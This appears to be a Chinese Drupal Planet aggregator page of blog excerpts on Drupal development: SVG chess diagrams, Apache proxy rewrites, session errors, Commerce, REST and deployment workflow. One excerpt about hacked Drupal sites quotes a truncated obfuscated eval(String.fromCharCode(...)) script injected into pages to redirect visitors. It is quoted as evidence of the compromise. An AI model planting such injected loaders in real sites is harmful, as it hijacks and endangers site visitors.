你在这里

Drupal 星球

07/14/2018 - 15:30 - Think in Drupal

最近将亚艾元象棋谱网站的图片,从PNG转为SVG,动态生成SVG的格式。原来基于phantomjs生成png格式的图片,然后使用程序合成gif格式的动态棋谱。

原来的方式,png,gif格式,保存起来,一个png格式需要40k,一个gif棋谱图片需要2M大小,50万棋谱,大约需要存储500万张图片。我使用百度的云存储服务,存储了这些图片,加到一起1.3T大小,每天都有10块钱的费用。成本有点高。


经过改造,现在换成了svg的格式,效果更好。而且生成SVG的速度比合成png的速度也快了10倍大小。动态的象棋棋谱svg格式,近8K大小。静态的SVG象棋棋谱图片仅5k大小。实例如下:

论坛: Drupal版本:
04/30/2018 - 18:20 - Think in Drupal

计划实现用户访问网站url里面,如果带有不带有portal字符,都看到同样的内容。用户的浏览器不用跳转。

采用重定向实现的话,就比较简单,如果不重定向的话,就比较麻烦,查找了很多资料,阅读了官方文档,最后找到了,使用代理的方式,不过这里是自己代理自己。


RewriteCond %{REQUEST_URI} ^(.*)?/(portal)/(node)/(.*)

RewriteRule ^ "http://localhost/xqipu/node/%4" [P]

  

  

需要在httpd.conf文件中启用  :

LoadModule proxy_module modules/mod_proxy.so

LoadModule proxy_http_module...

04/28/2018 - 11:04 - Think in Drupal

最近有多个Drupal网站被黑了,其中一个症状,首次访问首页面,会跳转到别的页面,黑客页面。第二次访问正常。

这个极有隐蔽性,刚开始我还以为是浏览器点错了呢,因为后面就正常,后来检查,发现页面被注入JS代码。类似这样的代码:


<script language=javascript>eval(String.fromCharCode(118, 97, 114, 32, 122, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 115, 99, 114, 105, 112, 116, 34, 41, 59, 32, 122, 46, 116, 121, 112, 101, 32, 61, 32, 34, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114,...

04/27/2018 - 19:36 - Think in Drupal

系统报了这样的错我

Warning: session_id(): Cannot change session id when headers already sent 在 drupal_session_initialize() (行 266 在 /includes/session.inc).

 

Warning: session_set_save_handler(): Cannot change save handler when headers already sent 在 drupal_session_initialize() (行 242 在 /includes/session.inc).

 

这个错误引起的原因很多。比如memory limit过小,参数 session.auto_start设置为了真。

还有就是模块代码比如module文件里面增加 ?>,并且这个后面还有空格。

 

 

...

02/04/2017 - 11:47 - 宁皓网

18 岁那年我得到一本介绍用一款微软的软件创建电子商务网站的书,很兴奋,不过那本书我只记得标题的一部分。你想在网上卖点什么,可以尝试用 Drupal + Commerce 这个组合来做。Drupal 7 的时代我介绍过 Commerce 这个模块,感觉非常强大,是一套电子商务框架,因为它并没有针对某个具体的工作流程来设计,你完全有能力根据自己的需求去设计你需要的电子商务平台。

我一直想做一个漂亮的电子商务网站,Commerce 有个发行版,不过并不是太吸引人,而且太复杂,我完全不知道是怎么做到的。我希望可以从头开始,这样我知道出了问题,...

12/23/2015 - 09:37 - 宁皓网

我们先会介绍一下 Drupal 8 新的 REST API , 了解怎么样获取到 Drupal 上的数据,获取到的数据是什么样的,怎么把数据提交给 Drupal 去存储。然后再学一下怎么样利用 Drupal 的 REST API 创建应用, 我们会使用在 《React 本地应用》系列课程里创建的一个小项目,把这个移动应用的后端服务替换成 Drupal 。

在下面这个视频的演示里,你会看到,我们使用 Drupal 的视图创建了一个可以输出电影列表的 REST 接口,你可以在视图里控制每页输出的项目的数量。

http://work.ninghao.net/wp-content/uploads/2015/12/drupal-react-native-demo.mp4

React...
11/17/2015 - 07:31 - 宁皓网

为这次在巴黎恐怖袭击受影响的所有人,传递一点点爱 ...

paris

Drupal 与 WordPress 是我们养家糊口的基本工具。新的 Drupal 8 带给我们很多的惊喜,昨天我们发布了新的 Drupal 8 课程,介绍了一部分核心的操作,也就是 Drupal 的字段,后面还会再出几个核心部分的课程。Drupal 8 会在 11 月 19 号正式发布,您可以组织一个小型聚会,喝两杯,跟朋友一起聊聊新的 Drupal 。您想使用 Drupal 解决的问题,可以留在评论里 :)

...
05/31/2015 - 23:40 - 宁皓网
问题

我们之前一直用比较原始的方法,就是在本地搭建好环境以后,开始开发 Drupal 网站,基本完成以后,就把网站打个包,传到服务器上,再恢复一下数据库。这样做的问题是,如果网站有了新的修改,如果你直接在本地改,完成以后,还需要重做一些迁移的动作,打包,上传,恢复 ... 如果你直接在服务器上改,又很麻烦,并且有太多不确定的东西,很可能会破坏掉网站,如果你没有备份就很复杂,你要自己判断到底是哪里出了问题。

方法

我找到了一个更好的方法,最近会做成视频。听起来这个方法有些复杂,要做的步骤可能会比之前多一些,不过我认为是更好的方法,而且熟悉之后,我们就不会觉得复杂了,我猜这也是大部分项目开发的流程。

版本控制

同样我们需要在本地开发,好处是速度快,并且,如果你的项目不是一个人,其它的团队成员同样可以在本地有一个项目的开发版本。然后你们都使用 Git 为项目做版本控制,也就是对项目的每次修改都会被保存成一个版本。为项目提供一个远程仓库,团队成员都可以把在本地对项目的修改推送到这个远程仓库上。如果这个网站只有您自己做,也需要使用 Git ,长远看,...

03/01/2015 - 16:37 - 宁皓网

Ninghao Playbook(宁皓剧本),是用 Ansible 写的一个自动化配置 Drupal 本地开发环境的剧本,它需要结合 Vagrant 使用。它可以自动配置虚拟机,安装好 Drupal 所需要的运行环境(nginx,php-fpm,mariadb ... ),还有 Drupal 本身,以及一些常用的模块(views,token,features,module_filter ... )。

...

02/23/2015 - 11:51 - 宁皓网

关于 Drupal ,我们已经说了不少,不过还是留下了很多问题。比如 Drupal 开发的流程应该是什么样的,怎么样使用 Drupal 的 API 来创建自己需要的模块,如何用 Drupal 开发一个真正的产品。今年的一开始,我们主要先解决这三个问题。这是一个系统的课程,可能要持续挺长时间。我打算每个礼拜完成一小部分,然后发布视频,并且一起讨论遇到的问题。为了这个课程,我特意创建了一个论坛(创建中 ... ),这样可以更方便的一起讨论并解决遇到的问题。这个课程结束以后,你应该会对 Drupal 有一个更好的理解,更有自信使用 Drupal 去创建你想要的网站应用。

这开始之前,先留个作业,完成下面这几个学习手册:

  1. 学习手册:Web 开发环境与服务器生产环境
  2. 学习手册:前端开发工作流程
  3. ...